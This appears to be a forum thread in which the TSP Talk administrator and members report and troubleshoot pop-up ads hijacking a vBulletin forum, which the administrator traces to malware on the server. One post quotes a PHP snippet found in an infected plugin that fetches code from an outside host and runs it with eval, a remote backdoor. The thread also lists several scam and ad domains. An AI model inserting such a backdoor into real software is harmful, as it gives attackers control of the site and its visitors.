Pop Ups? Anyone still seeing them?

[tsptalk]

I've made some changes, updated software, rebooted servers, and scanned for viruses. I haven't seen those pop up pages in a few.

If you do get a pop up webpage, can you please post that here? If you know what page you were on and / or what you clicked on before the pop up, it would be helpful.

Thank you!

[userque]

I've made some changes, updated software, rebooted servers, and scanned for viruses. I haven't seen those pop up pages in a few.

If you do get a pop up webpage, can you please post that here? If you know what page you were on and / or what you clicked on before the pop up, it would be helpful.

Thank you!

I'll give you source urls if I happen to 'catch' one or more.

[tsptalk]

Thanks. I just had one but saw your post after. Only happens every once in a while now. I'm pretty sure it has to do with ...


popads.net

I just can't find anything on the server related yet.

[userque]

Thanks. I just had one but saw your post after. Only happens every once in a while now. I'm pretty sure it has to do with ...



I just can't find anything on the server related yet.

Maybe it could be that local machines (your computer, etc.) are infected, and not the server.

[userque]

So far, I guess two possibilities. If many others are having the same problem, then it is likely related to Google Analytics.

https://www.analytics-toolkit.com/referrer-spam/popads.net/
"What is popads.net?

popads.net is one of the latest examples of Google Analytics referral spam that our monitoring tools have picked up. This is a domain, used by spammers who target Google Analytics and other tracking tools. If you're seeing traffic from this domain then your analytics account has been a victim of spammers.

The first thing you need to remember is to NOT VISIT popads.net! The goal of the spammers is exactly that - to get you to visit the URL in question and then purchase services or products from them, same as e-mail spam. In some cases there might be malware on the page that could harm your computer.

Some spam is from bots actually visiting your site and executing the Google Analytics script while other is ghost traffic that bypasses your server and targets GA directly. Unlike bot spam, ghost traffic appears only in Google Analytics.
...
How can I stop or block popads.net referrer spam?

If you manage a couple of sites only you can try and monitor for bot referral spam and then block it on the server level. However, this will not stop ghost referral spam from getting in your Google Analytics reports.

The recommended way is to setup view filters in Google Analytics - an include filter for the valid hostnames and an exclude filter for the Campaign Source dimension, filtering out "popads.net". This is the easiest and most scalable solution (scalable to an extent). You can see why other options are non-options or have significant shortcomings in the recommended articles linked just below.

Digital agencies managing Google Analytics for clients or using Google Analytics reports in their daily work would be happy to learn that we have a fully-automated, set-and-forget solution called Auto Spam Filters that has a 14-day free trial for 3 websites. It's the best solution when dealing with tens or hundreds of clients and is used successfully by more than 2000 websites for permanent anti-spam protection."

Or,
https://malwaretips.com/blogs/remove-popads-net/

[RazorCat]

I have pop-up ads appear when I click on the password field to login on my iPad. I'm able to close the tab for the pop-up ad and proceed to login normally.
I also receive pop-up ads when I initally try to enter one of the sub-forums. I'm able to close the tab for the pop-up ad and rhe sub-form I selected appears.
I get no more pop-ups after that.

[burrocrat]

yep, same for me. popup happens when clicking login field. and when entering sub-forums. usually popups show pictures of naked people but these take me nowhere, just sit an spin.

[tsptalk]

Thank you!

[nnuut]

No popups now, I thought it was my problem on both computers IE and Waterfox. Did the Virus thing no help. Deleted and reinstalled a fresh copy of WF, no help.
WF Page info allows you to block them but more and more kept coming. Hope this works thanks Tom.

[Buster]

FYI:

When I click on the "Oldies but Goodies music thread" directly and not go though the "Entertainment" topic section first..The Malware try's to get me to download a Flash player update..

It won't let me go unless I do a complete log off from this site.

[nasa1974]

FYI:

When I click on the "Oldies but Goodies music thread" directly and not go though the "Entertainment" topic section first..The Malware try's to get me to download a Flash player update..

It won't let me go unless I do a complete log off from this site.


Buster, Just went to "Oldies". No Malware for Flash player update for me.

[nasa1974]

39645

This is what I get in the forum home page.

[FogSailing]

Tom: Happened to me today. The webpage was for some ad called Saveur. I closed it and completed logging in. However, I think this is happening to lots of people so may be some kind of worm, or the browser guys have changed how they advertise. But something is different. I'm going out tomorrow to buy and high end virus diagnostic program to run from my CD drive. Need to find out what happening because I was getting spammed yesterday. Had over 300 advertisements flood into my system. However, TSP Talk was not the only site I was visiting. But Im offline on the PC and using laptop only for now. Just FYI.

FS

[PessOptimist]

My post earlier in my account talk was about what I believe are called banner ads. These are a normal part of life on most web sites including TSPTalk.


Pop Ups are new windows that open uninvited? I was seeing a lot of new tabs opened in both chrome and edge. Not sure this was a TSPTalk problem. Not sure a new tab is a popup.


Finally found a malware I may have gotten called JS slash techbrolo dot a which may have had nothing to do with TSPTalk servers.


All of this started on August 23rd after win update.


Tom I have a text file with most of the redirect urls if you think that may be helpful

[RazorCat]

All clear on my end. No more pop-ups on my iPad or Mac.

[burrocrat]

i don't see the popups thingy anymore, but occasionally my screen flashes a blue bar across the bottom and lags. and even if i log off my computer it keeps me logged into tsptalk so when i restart i go right back to where i was, even the political forums so this is definitely different than it used to be.

i think the robot stole my password on the popup login deal and now is keeping me remotely logged in. so if i suddenly start posting a bunch of dirty stuff about boobs, it is probably some teenager in china driving my account remotely just so you know.

[slayer72]

i don't see the popups thingy anymore, but occasionally my screen flashes a blue bar across the bottom and lags. and even if i log off my computer it keeps me logged into tsptalk so when i restart i go right back to where i was, even the political forums so this is definitely different than it used to be.

i think the robot stole my password on the popup login deal and now is keeping me remotely logged in. so if i suddenly start posting a bunch of dirty stuff about boobs, it is probably some teenager in china driving my account remotely just so you know.

They must have wiped out the Ark weekly report too.:(

By the way it just happened again to me just now when I brought up the site.

[tsptalk]

Tom I have a text file with most of the redirect urls if you think that may be helpful
Sure, thanks. Can you copy and paste it into a PM if it fits?

[tsptalk]

I was seeing it several times a day, but not since this afternoon when I made some changes that were recommended. I think the worst is behind us but I appreciate you posting any new problems so I can research.

I believe the flash player thing may be a browser thing, but not sure.

If you post a link from one of the pop-ups, please label it as "do not click" or something so folks know not to go there.

Thanks!

[Bquat]

I was seeing it several times a day, but not since this afternoon when I made some changes that were recommended. I think the worst is behind us but I appreciate you posting any new problems so I can research.

I believe the flash player thing may be a browser thing, but not sure.

If you post a link from one of the pop-ups, please label it as "do not click" or something so folks know not to go there.

Thanks!Just got a pop up the I had a drive error caused by something and that I needed to call a 800 number. I used ctrl alt del to close my browser without clicking the ok. Next time I opener the site no problem.

[nnuut]

I had three or four this morning some on Home Page and others when I clicked to sign into the Forum. It continues!!!!!

[tsptalk]

OK, thanks.

;swear;swear;swear

[weatherweenie]

I got a popup when I went into the forums. I didn't see your request until I closed the popup.


Thank you!

[Stoplight]

Yes....still getting them ! This morning was when I clicked on the forum username login box...a dire web site WITH spoken warning that my hard drive would be erased if I closed the window ! Later one showed up when I tried to "like" a post...issues even loading the site, later..."data base error"....looked like from vBulletin.

Got one already from THIS login...

Did not appear to have any issues from my Android phone's browser...I don't use Tapatalk.


Stoplight...

[tsptalk]

OK, I just created a bunch of new filters. Let's see how it goes from here.

[nnuut]

Tom I've 2 now namefuze.com it duplicated it's self. I didn't close them. They want me to register, Fat Chance on that one!

[tsptalk]

Thanks. I'll add it to the list.

[Stoplight]

Tom,

Same as Norm...namefuze.com ! Happens at login click, but also happens if I just click an "open" post link, without logging in, much as a "guest" would do and see...

I checked, and it happens in MSIE 11, too...tested at 2:20 PM CDT, but I don't know how long it takes your filters to take effect !

At least you're making some progress...not getting the multiple rotating web sites, like yesterday !!! :D


Stoplight...

[nnuut]

But who is distributing these adds that's the one we need to block.

[waltj]

Just got two: 'adnety' and 'clicknety'
Both opened in new windows. Looking at page source relates both to Google Analytics, as Userque posted earlier. I have saved the page source pages if you need them.

[waltj]

Now I'm getting 'namefuse' once when I tried to log in and again when i selected this forum thread. I have saved it's source info and it is also associated with google analytics. before I opened TSPTalk, I went to my other sites and no pop-ups from them.

[MrBowl]

yes, getting some popup tabs.

[PLANO]

Adnety is what i just saw. Something else when I initially logged in that my Malwarebytes blocked.

[tsptalk]

I recommend running any anti-virus software you may have. I don't know if any of these are infecting our machines. I suspect not unless you clicked on something within the the popups, but just in case try scanning for viruses.

It may be that the changes I've made are taking time to be be implemented. As always, a cache cleaning (ctrl + F5) is a good idea, and a reboot is usually very helpful. I haven't seen one of the popups since this morning so hopefully that is a sign of things to come for the rest of you.

Thanks!

[nnuut]

These are back or just got here?

;swear

[k0nkuzh0n]

just got two on my tablet. one when i clicked on the username block to log in. it was izanalyse.com or something, which quickly changed to something else.

another when I went to click Reply to this thread. that was was clickety something

[fooger03]

I'm regularly getting "pop-under" ads from only this site (no others). The most recent pop-under ad is an advertisement for a company that specialized in pop-under ads.

[tsptalk]

Thanks! (I'm deleting the links you provide as I get them noted so no one clicks.)

[tsptalk]

In order to narrow down where these pop up are coming from, I am going to be playing with the modifications added to the site over the years - such as the list of posts at the top, and see if it helps. If I can narrow it down to a particular "Feature" it may help me fix it. Sorry for any inconvenience.

While these are down, please continue to report pop up issues. Thanks!

[teleman55]

I've made some changes, updated software, rebooted servers, and scanned for viruses. I haven't seen those pop up pages in a few.

If you do get a pop up webpage, can you please post that here? If you know what page you were on and / or what you clicked on before the pop up, it would be helpful.

Thank you!

I get popups every time I go into the forum. this is the latest one

namefuze Cheap Domains Search

[tsptalk]

In the last 20 minutes or so? I've made some changes.

[weatherweenie]

Clicking on 'new posts' I received a popup.

[Intrepid_Timer]

Some times when I click on a thread to see the new post, the thread opens in a new window and the old window goes to an advertisement. Very annoying.

[weatherweenie]

Ditto


Some times when I click on a thread to see the new post, the thread opens in a new window and the old window goes to an advertisement. Very annoying.

[k0nkuzh0n]

This just happened to me. The advertisement was blocked by work tho.

Some times when I click on a thread to see the new post, the thread opens in a new window and the old window goes to an advertisement. Very annoying.

[nnuut]

Tom I tried to upload a JPG and got this message, three times.
Fatal error:

File system directory "./attachment_hold/2/1/9" is not writable or cannot be found. Please create this directory; ensure the directory is writable or change the directory setting.

Unable to proceed with save while $errors array is not empty in class vB_DataManager_AttachmentFiledata in ..../includes/class_dm.php on line 849

Never mind it just worked in another thread.:rolleyes:

[Buster]

Reply to thread button doesn't work, also can't post images or videos....copy and/or paste don't work either,n't selectanyting ith riht uttondown ..<--sentences are all chopped up too.

Serious pblems here folks

[k0nkuzh0n]

This is what my work gateway says:


URL: http://tango-deg.com/adnety.com?adTagId=1884d8e0-8fb9-11e6-8eb3-0e855f2e0669&cpm=1&keywords=entertainment&fallbackUrl=adnety.com
Categories: Spam URLs
Virus Name:
Proxy: wp-stl-10

[weatherweenie]

Just clicked on 'new posts' at 1:19pm Mountain Time and a new window opened with the original window displaying the following URL: http://offer.alibaba.com/market/all3.html?ref=cb&aff=98

[nnuut]

https://adnety.com/

[nnuut]

Still!
http://clicknety.com/

[weatherweenie]

Seems to be happening more frequently this afternoon.

[fooger03]

I found this one when I closed my tsptalk tab
http://webscan0710.tech/pc6/index.html

When I subsequently opened another to come report it, both of these popped under:
Aura Kingdom (http://www.aeriagames.com/playnow/aurakingdom/3?utm_source=sgncpl&utm_campaign=akus&utm_medium=banner&age_pubid=12b1d066-21d7-41fe-838b-797c76bb8d82&s=14:9:87:425)

And Here
namefuze | Buy Domain | Register Domain Name | Cheap Domains (http://namefuze.com/)

[tsptalk]

OK, thanks. I think I have enough ammo for now. Once I make new changes I'll let you know and we'll test it again.

Also, do those that have this issue have pop up blockers set to on or off? I just turned mine on (was off).

How to turn on/off... https://www.techsupportall.com/block-pop-ups-chrome-firefox-internet-explorer-edge-browser/

Not that you need to turn it off as I am trying to fix this issue, but if the pop ups are bugging you in the interim...

Thanks for your help!

[userque]

Tom,

Consider this from http://www.vbulletin.com/forum/forum/vbulletin-4/vbulletin-4-questions-problems-and-troubleshooting/4355791-popads (down for maintenance at the time of this post, the below came from google cache, but may not be complete.):

popads

Today, 7:45am


My forum just started getting pop up pages, apparently from popads.net. I've tried many things to get rid of this to no avail so far.

The most common occurrence comes when someone clicks inside the login forms. Also a click on a subforum.

Version 4.2.2 P6 being used and I uploaded the fresh new files, scanned the servers but found nothing. I also "Excluded" popads . net (don't go there) on the Google Analytics Filter page.

Any ideas?

Some info: https://www.analytics-toolkit.com/re...am/popads.net/ (https://www.analytics-toolkit.com/referrer-spam/popads.net/)

Tags: None


http://www.vbulletin.com/forum/forum/vbulletin-4/vbulletin-4-questions-problems-and-troubleshooting/core/images/default/default_avatar_medium.png (http://www.vbulletin.com/forum/member/11799-hidjra) Hidjra (http://www.vbulletin.com/forum/member/11799-hidjra)
Member



Join Date: Jan 2002
Posts: 54




#2 (http://www.vbulletin.com/forum/forum/vbulletin-4/vbulletin-4-questions-problems-and-troubleshooting/4355791-popads?p=4355824#post4355824)
Today, 11:36am



Hi tempagain,

Had the same problem, found this **** in one of my plugins:

PHP Code:
$config_data = file_get_contents('http://geekube.com/wp-content/uploads/2013/xml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data




It was'nt me, it was the one armed man


_________________________________end quote___________

[tsptalk]

Thanks. We're getting closer.

[RealMoneyIssues]

I can replicate, but don't know if this has already been said and don't have time to read this entire thread, sorry...

Every time I click on:
TSP Talk AutoTracker (http://www.tsptalk.com/tracker/tsp_user_standings.php)

From this page:
TSP Talk AutoTracker (http://www.tsptalk.com/tracker/tsp-tracker.php)

I got ads from:
https://adnety.com/

It now seems it only worked the first 2 times I did it. Now I don't get ads. Who knows.

Good night!!

[rdodson]

pop up when I use quick links, subscribed threads

[Buster]

Seems things are working again...I'm on my work puter..no issues so far..

Thanks Tom..


https://www.youtube.com/watch?v=RI7UKhCPhRo

[coolhand]

I am consistently getting a message from my ad blocker (malwarebytes) that that a malicious website (adnety.com) is trying to use pop-ups. I tried to upload a PNG screen capture of the message, but I am getting an error.

[nnuut]

This one is still hanging in there!!
http://clicknety.com/

[Bquat]

Electronic Cigarettes & Vaporizers | V2.com (http://www.v2profit.com/home.html) Ecigaretts

[2moryrs]

When I tried to use search, a whole other page came up. Did not think to remember the name.

[tsptalk]

Thanks for the input. We are still scanning the servers, digging deeper to see where the bugger code may be hiding.

I don't really need to site names anymore. We assume t's all coming from the same bad code. We just need to find it. The scans have been running for 2 days. :eek:

Once the scans are done I may need more feedback. Thanks!

[ZipZip]

When trying to use search, the following message appears as a banner:


Warning: Declaration of vBForum_Item_SocialGroupMessage::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupmessage.php on line 261

Warning: Declaration of vBForum_Item_SocialGroupDiscussion::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupdiscussion.php on line 337

[userque]

When trying to use search, the following message appears as a banner:


Warning: Declaration of vBForum_Item_SocialGroupMessage::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupmessage.php on line 261

Warning: Declaration of vBForum_Item_SocialGroupDiscussion::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupdiscussion.php on line 337

Tom, this is a very old bug and probably not related the ads. fyi

[tsptalk]

When trying to use search, the following message appears as a banner:

Warning: Declaration of vBForum_Item_SocialGroupMessage::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupmessage.php on line 261

Warning: Declaration of vBForum_Item_SocialGroupDiscussion::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupdiscussion.php on line 337

Yeah, not related to the pop ups but I can block those warnings. Thanks!

[tsptalk]

One of the things I plan to do is uninstall an old modification program that we no longer use anyway, but has a reputation for having code that was vulnerable. I have avoided deleting it completely because of the possibility of it screwing up our URL / links. I'll just have to grin and bear it, but I'll probably wait until Friday to do it.

[Stoplight]

Tom,

Still happening...the usual sites, as posted by others...started with me on Sunday...what "changed/updated" over the weekend ? Never had this issue before then...

So far, I've always been able to "work around" to do what I need to do on the site ; no attachments uploaded, pop-up blocker ON in Firefox, as it's always been, but still happening...and my MS Security Essentials deep scan shows nothing on my PC...

I know you're doing what you can, but this is getting really annoying... ! :eek:

Just sayin'....


Stoplight...

[tsptalk]

Thanks for the input. We are still scanning the servers, digging deeper to see where the bugger code may be hiding.

I don't really need the site / links names anymore. We assume it's all coming from the same bad code. We just need to find it. The scans have been running for 2 days. :eek:

Once the scans are done I may need more feedback. Thanks!

[nnuut]

Tom,

Still happening...the usual sites, as posted by others...started with me on Sunday...what "changed/updated" over the weekend ? Never had this issue before then...

So far, I've always been able to "work around" to do what I need to do on the site ; no attachments uploaded, pop-up blocker ON in Firefox, as it's always been, but still happening...and my MS Security Essentials deep scan shows nothing on my PC...

I know you're doing what you can, but this is getting really annoying... ! :eek:

Just sayin'....


Stoplight...


Hey!! I also checked the "exceptions" under Blocking and Content and maybe another, check them all I found 3 or 4 that I never excepted!!

[weatherweenie]

Ironically, I just got a pop up, when I went to read the latest on this thread! :laugh:


Thanks for the input. We are still scanning the servers, digging deeper to see where the bugger code may be hiding.

I don't really need the site / links names anymore. We assume it's all coming from the same bad code. We just need to find it. The scans have been running for 2 days. :eek:

Once the scans are done I may need more feedback. Thanks!

[nnuut]

I got this when I tried to "LIKE" two different posts!! Well hell it won't let me upload a JPG of the error. It said I didn't have permissions to click the "LIKE" button. then I got another a Server error when I tried to upload the PIC.

HTTP 500 server error - Internet Explorer



res://ieframe.dll/info_48.png

The website cannot display the page


HTTP 500




Most likely causes:

The website is under maintenance.
The website has a programming error.





What you can try:





res://ieframe.dll/bullet.png
Refresh the page. (javascript:clickRefresh())Refresh the page.







res://ieframe.dll/bullet.png
Go back to the previous page. (javascript:history.back();)Go back to the previous page.







res://ieframe.dll/down.png (res://ieframe.dll/http_500.htm#)
More information (javascript:expandCollapse('infoBlockID', true);)

[tsptalk]

Well hell it won't let me upload a JPG of the error. It said I didn't have permissions to click the "LIKE" button.



That may have been temporary since I was disabling many of these "plugin" programs while testing.

I haven't seen any pop ups tonight. Are we getting closer?

[MrJohnRoss]

Yep, clicked on the "Member's Account Talk" link, and a new tab opened with a cigarette vape web site: Electronic Cigarettes & Vaporizers | V2.com (http://www.v2profit.com/home.html)

[tsptalk]

OK, thanks. I have one more trick but I don't want to try it until Friday night when I have a couple of days to recover if I screw it up. :eek:

[jpcavin]

First time I tried getting on TSPTalk forum from my Mac it directed me to another site called trustedmaccleaner.com where a popup tells me to "please consider cleaning your Mac from junk".
I had to close out of it and go back in to post but not without a second tab opening up from abnety.com

[nasa1974]

OK, thanks. I have one more trick but I don't want to try it until Friday night when I have a couple of days to recover if I screw it up. :eek:

Tom,

Started to log in from work computer and got a popup that was denied (web filter violation). Tried to reply to thread and it wouldn't connect. Went to main page and go another popup from adnety. Letting me "reply with quote". Typing is still an issue with letters missing even from work computer. Very strange.

This is what my tuying looks like without rrectios. No I do't tpewit al thumbs but I amsow. GGGRRRRRRR!!

[Buster]

Looked at the site last night at home for a few minutes..my Malwarebytes flagged 5 different malicious malwares..had to do a puter scan to remove them..ugggg!

[weatherweenie]

Similar results here. This is really annoying.


Looked at the site last night at home for a few minutes..my Malwarebytes flagged 5 different malicious malwares..had to do a puter scan to remove them..ugggg!

[tsptalk]

Reposted from Bquat's thread.

Re: Cactus typing issues in reply: IE seems to be the worst. I have been using Edge, the latest IE, and see issues here and there with the basic reply. (I'm on it now).

Cactus, you may want to change your editor setting from wysiwyg to standard and see if it helps (while using IE)

Go here: http://www.tsptalk.com/mb/profile.php?do=editoptions

Here's the software folks themselves admitting the issue...

Missing keystrokes / Text typing problem - vBulletin Community Forum (http://www.vbulletin.com/forum/forum/vbulletin-4/vbulletin-4-questions-problems-and-troubleshooting/4015839-missing-keystrokes-text-typing-problem)


I hate to ask anyone change browser because, well how inconvenient, but since I've used Chrome I haven't had those issues.

Bquat: I know you've tried a lot of things with the attachments and I am stumped but still looking for answers. How one person's uploader would work and another's not is too weird, but obviously possible.

I did delete the one program that I was concerned about and mentioned yesterday, and hope it did something, but I'm thinking it had more to do with the pop up issue than attachments.

Thanks for your patience everyone. I know it's annoying, but you can keep telling me (:D). I need the feedback to know if the changes I'm making are doing anything.

[blackoutcl]

Im still getting popups. Just now it was from www.adnety.com (http://www.adnety.com). Pretty invasive. Wouldn't let my type until I closed the window. This is my work computer and the only site I visit besides INTRA-net sites is TSPtalk and marketwatch so this computer is not infected from outside sources.

[ravensfan]

I'm still getting popups much as everyone else who has been reporting it, although it seems more like a webpage is "hijacking" where I want to go. For instance I check my likes page and instead I get adnety.com or I look at another members thread and instead get one of the other aforementioned web sites. Doesn't act like a popup, but more like an actual hijacking. FYI, this happens whether I am logged in to TSPTalk or viewing as a guest. In addition, it does not occur at any other website I visit, just TSPTalk...Hope this helps.

[Bquat]

Just got a scary pop up I had to ctrl alt del out of and ran Microsoft essentials and McAfee and found so problems:
Netscan 0210.online says. Windows Security and Firewall Services are disabled.
Error Code 0X8024402c
Your TPC Connection was blocked by your firewall. Accounts may be suspended until you take action.

[jpcavin]

I can't reply to any threads from my government computer. It just times out.
And no "likes"

Just passing the information along...,


Sent from my iPhone using Tapatalk

[jpcavin]

I'm still getting popups much as everyone else who has been reporting it, although it seems more like a webpage is "hijacking" where I want to go. For instance I check my likes page and instead I get adnety.com or I look at another members thread and instead get one of the other aforementioned web sites. Doesn't act like a popup, but more like an actual hijacking. FYI, this happens whether I am logged in to TSPTalk or viewing as a guest. In addition, it does not occur at any other website I visit, just TSPTalk...Hope this helps.

"like"

[Bquat]

Microsoft has a Malware checker and I ran it with none detected to get a little peace of mind:
https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx?id=16

[Warrenlm]

I'm still getting popups much as everyone else who has been reporting it, although it seems more like a webpage is "hijacking" where I want to go. For instance I check my likes page and instead I get adnety.com or I look at another members thread and instead get one of the other aforementioned web sites. Doesn't act like a popup, but more like an actual hijacking. FYI, this happens whether I am logged in to TSPTalk or viewing as a guest. In addition, it does not occur at any other website I visit, just TSPTalk...Hope this helps.Ditto here. Consulted doctor google only to find websites praising adnety.com. ?

[Intrepid_Timer]

TSPtalk has been hacked by the Russians with all the apparent political discussions over in the political thread................ :ban:

[tsptalk]

It seems the 'fix' is doing something to our plugin programs to the forum. We may not have pop ups right now, but removing all our tools like the latest post list, like button, and about 20 others including the Blog area, which isn't acceptable. So, we're still working on it.

[nnuut]

No sign of Popups today.

[tsptalk]

I'll believe it when I see it. :D The pop ups stopped after a major cleaning of the servers / database, but it seems to wipe out our plugins as I mentioned above. I did some tweaking and the plugins are back, but I don't know if that means the popups will be back too. We'll see.

[MKT]

I'm regularly getting "pop-under" ads from only this site (no others). The most recent pop-under ad is an advertisement for a company that specialized in pop-under ads.

This is what I had been getting, yesterday (10/13) being the most recent, nothing yet today. I only noticed the "more" link this morning though. I'm running Ad-blocker to for the most part I don't see any ads but the pop-under brings up a full page. If I get it again I'll grab the link.

[Bquat]

No pop ups yet today.

[Buster]

Might be too good to be true yet..But no Malware warnings today

[FogSailing]

Just a note to all. I'm writing this from my new Samsung tablet that I purchased today. Both home computers are infected with the zbot virus which has trashed both machines. I have ordered new hard drives for both computers and have shut everything down. This virus is very bad. I won't bore you guys with all the rotten things this does to you system but basically it trashed everything. Will probably be offline for another week or two untill I get things back to normal. No idea where this thing came from. Somehow it got past my home security system. Be careful folks.

FS

[burrocrat]

Just a note to all. I'm writing this from my new Samsung tablet that I purchased today. Both home computers are infected with the zbot virus which has trashed both machines. I have ordered new hard drives for both computers and have shut everything down. This virus is very bad. I won't bore you guys with all the rotten things this does to you system but basically it trashed everything. Will probably be offline for another week or two untill I get things back to normal. No idea where this thing came from. Somehow it got past my home security system. Be careful folks.

FS

stop watching porn.

or at least just watch the free porn pop ups. it's when you give them your credit card data that they got you by the short hairs. if you have short hairs, never can tell these days.

[tsptalk]

Ouch, FS. That sucks. Please let us know if you find anything out.

[Buster]

I recommend anyone on home PC's to invest $29.00 for a year's worth of Malwarebytes anti-malware and virus protection.It won't interfere with your regular anti-virus programs....saved my ass lately.

[FogSailing]

What's funny Burro is that I try not to click on anything that isn't certified or isn't on the up and up. What I've learned is that most websites are managed by well meaning companies but that lots of sites have sponsored ads from third parties (also good companies) but they do not have the resources to continually update their ads and hackers take advantage of the gap and attach viruses that download automatically. I read that you don't even need to click on the advertisement..just run your mouse over it. Amazing. I probably visit at least 10 certified market based websites every day; not to mention NASA related sites.

Right now I've ordered 2 new hard drives and will be completely reinstalling everything G soon. For now I'm learning how to use my new tablet..Later.

FS

[Stoplight]

Been out of town a few says...

Good news ? No longer getting the pop-under tabs !!! Thanks, Tom !

Bad news ? Getting logged off when trying to respond to threads....Is this something new, or did I miss something ???


Stoplight...

[burrocrat]

What's funny Burro is that I try not to click on anything that isn't certified or isn't on the up and up.

well then that's your problem right there. by only hovering over safe sites, you prevent the porn bots from doing what they do best, which is eliminate all competition and hog the channel, aggregating the disease. porn is, after all, selfish. so let them do what they are good at, squeezing out the sneakier 'legitimate appearing' players, get down an dirty with them, then you snare them in your net, sometimes to catch phish you gotta cut bait. the porn bots are easy to spot and clean up after. you are asking for trouble insisting on only tested safe offerings, usually those are the biggest liars and cheats.

just sharing from personal experience... always glad to help out a friend.

[Stoplight]

FS,

Not related to your situation, but I feel your pain !!!

We're fighting with our credit card company over a fraudulent billing...turns out the Wife made a purchase from a Pinterest vendor...I see where there has been a card skimming code inserted into the web sites of 6,000 vendors... :eek: These Ma and Pop stores don't have the knowledge or resources to police their web sites...so we (or the credit card company !) get screwed !

In my card company's defense, they have again reversed charges, when I was presented a receipt from the billing company, and again protested it !!! So I haven't paid it yet...but what a PITA !!! I suspect the card company will eat it...'cause I'm damn sure not going to !!!

Be careful out there....

Stoplight...

[tsptalk]

Been out of town a few says...

Good news ? No longer getting the pop-under tabs !!! Thanks, Tom !

Bad news ? Getting logged off when trying to respond to threads....Is this something new, or did I miss something ???

I tried to add another layer of protection via a firewall, once the malware was cleaned. Unfortunately that led to about a half dozen people - of those who reported it - not being able to login this morning, so I deactivated the firewall.

I haven't heard of anyone getting logged out besides you, but I've had a few issues uploading files onto the server, so I don't know what is happening. Settings have been changed and it apparently has an impact.

I plan to implement the firewall again but probably not until later on Friday after the IFT deadline.

[Stoplight]

I tried to add another layer of protection via a firewall, once the malware was cleaned. Unfortunately that led to about a half dozen people - of those who reported it - not being able to login this morning, so I deactivated the firewall.

I haven't heard of anyone getting logged out besides you, but I've had a few issues uploading files onto the server, so I don't know what is happening. Settings have been changed and it apparently has an impact.

I plan to implement the firewall again but probably not until later on Friday after the IFT deadline.


Got it, Tom !!!

Seems okay now...but will post here if the log off issue returns !!!


Stoplight...

[burrocrat]

I tried to add another layer of protection via a firewall, once the malware was cleaned. Unfortunately that led to about a half dozen people - of those who reported it - not being able to login this morning, so I deactivated the firewall.

I haven't heard of anyone getting logged out besides you, but I've had a few issues uploading files onto the server, so I don't know what is happening. Settings have been changed and it apparently has an impact.

I plan to implement the firewall again but probably not until later on Friday after the IFT deadline.


i get "logged off" when i try to access or respond to restricted politics threads. but not on the pc's i access tsptalk with, only my android phone. i can be logged into the forum with the pc's and when clicking politics or "reply to thread" then things work great now. but when i do the same on my phone, i have to re-login on the new page. when i go back to the forum main page i have to re-log in to that too. and re-login to any new politics thread. if i stay out of the politics threads requiring permission then this multiple login and booted out thing does not happen. but only on my phone, not on the pc's.

at first i thought maybe julian assange or the clinton campaign was trying to send me a message (which is different than sending me a massage - way different - yuck), like a vast ecuadorian conspiracy or something, but then i used my thinker, i do that sometimes. and i thinked that it is probably a compatibility issue between tsptalk security settings and certain operating or browser software settings. with the diverse digital universe we all now live in no matter how much we pretend we don't want to, these kind of conflicts are bound to happen in a free exchange world. at least until we all agree to move to the bottom of the sea and live in a yellow submarine and trade insults on a holistic homogenic isolated intranet with a sanitized steve jobs pokemon skin, not the wild west internet thingy al gore invented. thanks a lot al gore.

[Buster]

After trolling around the site for a few days now, I get this;

https://s21.postimg.org/spwjwbzif/Capture.jpg

[nnuut]

?:worried:

[Buster]

?:worried:

Means there is no problems Norm..:rolleyes:

[burrocrat]

39776

[FogSailing]

Sorry to hear of your problems with the credit card Stoplight. Decided to buy the extended Dell warranty to get their technician to kill the bugs in my machine and reformat my hard drive with new OSS. Hopefully
Lly I'll be back online in a few more days. What a pain. Bought McAfee Security Suite for all the home machines. Was disappointed that AVG didn't do the job. Think it's time to pull out the bourbon for a little stressed releiver.

FS

[tsptalk]

Is anyone around today that was having problems logging in back when we did the the pop up fix last week?

I may try to implement the new firewall again but I need to test the login problem. Once I have someone I can test this with, I'll activate the firewall again and we'll see if you can still login.

If you can't login later, use the tom@tsptalk...... address to contact me.

Thanks

[burrocrat]

i'm around. i can check with home computer and phone if needed.

say, this isn't going to be one of those tests where the little grey guys take me up in that saucer again and download all my smarts is it? i think they were guys, they were definitely grey.

[tsptalk]

Thanks. I've made the change but it may take a little while to propagate through the site.

[burrocrat]

so far it's seamless, no hitches, at least on home computer laptop ms windows 10 running 'explorer' browser. log in once to tsptalk forums and move between regular and political threads back and forth with no new windows or re-logins.

i'll check on my phone too.

[tsptalk]

I'm sorry. It probably hasn't implemented yet. It could take some time, but by later this afternoon or evening. If you're around to check, that's great but don't cancel any dates or anything for us. :)

[burrocrat]

no probs from phone either. can move around website freely without stumbling blocks.

sent from an lg g5 android running whatever is the latest marshmellow or whatever, you know, like a magic pocket computer or something.

and no saucers or grey guys either.

[burrocrat]

I'm sorry. It probably hasn't implemented yet. It could take some time, but by later this afternoon or evening. If you're around to check, that's great but don't cancel any dates or anything for us. :)

oh that sucks. last time i went on a date i almost got arrested.

[emily]

Is anyone around today that was having problems logging in back when we did the the pop up fix last week?

I may try to implement the new firewall again but I need to test the login problem. Once I have someone I can test this with, I'll activate the firewall again and we'll see if you can still login.

If you can't login later, use the tom@tsptalk...... address to contact me.

Thanks
I was able to log in about an hour ago and again now.

[tsptalk]

Thanks. I can see the changes haven't fully propagated so the problems may still be to come. :)

[Stoplight]

Tom,

Have not logged in for a couple of days. but nothing unusual for me today...will try from phone next !

For the record : I use Windows 7, latest Firefox, and have my cookies cleared every time I close Firefox...yeah, a PITA to re-enter login creds, but I don't mind...seems to keep my bank and trading accounts relatively safe !!!

Stoplight...

[tsptalk]

Any popups today? One member said they had one on their Android phone.

[nnuut]

Nothing Popping up for me!!:banana:

[RazorCat]

Started getting the popups again last night when I initially try to login to the Forum.
